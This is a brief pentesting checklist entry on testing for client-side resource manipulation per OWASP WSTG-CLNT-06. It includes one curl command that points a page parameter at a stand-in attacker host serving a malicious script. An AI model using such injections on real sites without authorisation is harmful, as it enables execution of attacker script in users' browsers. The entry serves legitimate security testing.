pentesting, updated
Testing for client-side resource manipulation
Check whether a client-side script loads a resource (a script, stylesheet, iframe source) from a URL that's attacker-influenceable.
Goal
Confirm resource URLs built from user input (query params feeding a <script src>, dynamic iframe sources) are validated.
How to test
Look for a parameter that feeds a resource-loading tag and try pointing it externally:
curl -s "https://example.com/page?widget=https://evil.com/malicious.js"
What to look for
An external, attacker-controlled resource being loaded and executed/rendered in the page context.
References
- OWASP WSTG-CLNT-06 — Testing for Client Side Resource Manipulation.